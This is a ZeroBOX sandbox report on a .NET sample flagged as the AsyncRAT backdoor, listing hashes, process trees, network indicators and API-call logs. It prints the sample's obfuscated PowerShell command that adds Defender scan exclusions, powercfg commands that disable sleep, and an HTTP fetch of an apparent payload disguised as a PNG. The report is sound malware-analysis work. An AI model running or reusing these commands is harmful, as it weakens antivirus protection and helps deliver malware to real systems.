Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	May 20, 2022, 1:17 p.m.	May 20, 2022, 1:21 p.m.

Size	39.0KB
Type	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
MD5	`34762bcb146dc13c3b1c33b1d0b2ffab`
SHA256	`0af85685a69211639dfe865ff86ed3636da458a60f2bc8d99adfba1cd5c350c1`
CRC32	`778BDCAC`
ssdeep	`768:diYROj5OOnj10+BTb5/t5NZhbJFgkIlMFf6Nzw6+I:diYROj9j5JLN7Aw6+I`
Yara	Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT PE_Header_Zero - PE File Signature IsPE64 - (no description)

Adetij.exe "C:\Users\test22\AppData\Local\Temp\Adetij.exe"
2320
- cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 45
  2620
  - timeout.exe timeout 45
    2680
- cmd.exe "C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAGsAbQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAegBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAawByAGgAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABrACMAPgA="
  3056
  - powershell.exe powershell -EncodedCommand "PAAjAGsAbQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAegBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAawByAGgAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABrACMAPgA="
    2212
- cmd.exe "C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  1744
  - powercfg.exe powercfg /x -hibernate-timeout-ac 0
    1028
  - powercfg.exe powercfg /x -hibernate-timeout-dc 0
    2776
  - powercfg.exe powercfg /x -standby-timeout-ac 0
    2840
  - powercfg.exe powercfg /x -standby-timeout-dc 0
    1776

Name	Response	Post-Analysis Lookup
thddghdd1.com	A 31.31.196.4	31.31.196.4

IP Address	Status	Action
164.124.101.2	Active	Moloch
31.31.196.4	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (9 events)

Time & API	Arguments	Status	Return
GetComputerNameW May 20, 2022, 1:10 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2022, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2022, 1:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2022, 1:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2022, 1:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2022, 1:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2022, 1:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA May 20, 2022, 1:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW May 20, 2022, 1:11 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (7 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent May 20, 2022, 1:10 p.m.			0	0
IsDebuggerPresent May 20, 2022, 1:10 p.m.			0	0
IsDebuggerPresent May 20, 2022, 1:11 p.m.			0	0
IsDebuggerPresent May 20, 2022, 1:12 p.m.			0	0
IsDebuggerPresent May 20, 2022, 1:12 p.m.			0	0
IsDebuggerPresent May 20, 2022, 1:12 p.m.			0	0
IsDebuggerPresent May 20, 2022, 1:12 p.m.			0	0

Command line console output was observed (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteConsoleW May 20, 2022, 1:10 p.m.	buffer: Waiting for 45 console_handle: 0x0000000000000007	1	1	0
WriteConsoleW May 20, 2022, 1:10 p.m.	buffer: seconds, press a key to continue ... console_handle: 0x0000000000000007	1	1	0

Uses Windows APIs to generate a cryptographic key (49 events)

Time & API	Arguments	Status	Return
CryptExportKey May 20, 2022, 1:10 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000005f0b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:10 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000005f0b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:10 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000005f0b00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003a47e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1d9630 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1d9630 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1d9630 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1d9470 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1d9470 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1d9010 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1d9010 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1d9010 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1d9010 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1d96a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1d96a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1d96a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003a48c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003a48c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003a48c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1c22e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1c22e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1c22e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1c22e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1c22e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1c22e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1c22e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1c22e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1c2270 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1c2270 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b1c2270 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003a48c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003a48c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003a48c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003a48c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2087a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2087a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b2087a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b208ab0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b208ab0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b208b90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b208b90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b209530 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b209530 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b225730 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b225730 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003a4850 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003a4850 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003a4850 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey May 20, 2022, 1:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000003a4850 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx May 20, 2022, 1:10 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header

suspicious_request

GET http://thddghdd1.com/Iebjg_Vscqefpm.png

Performs some HTTP requests (1 event)

request

GET http://thddghdd1.com/Iebjg_Vscqefpm.png

Allocates read-write-execute memory (usually to unpack itself) (50 out of 292 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 917504 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000a30000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000a90000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef324b000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 1900544 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002350000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000024a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2bb4000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9343a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe934ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93516000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe934f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9344c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93560000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9345b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9343b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9348c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9345d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe93432000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9344a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9348d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935a1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe9344b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935b1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory May 20, 2022, 1:10 p.m.	process_identifier: 2320 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe935b3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
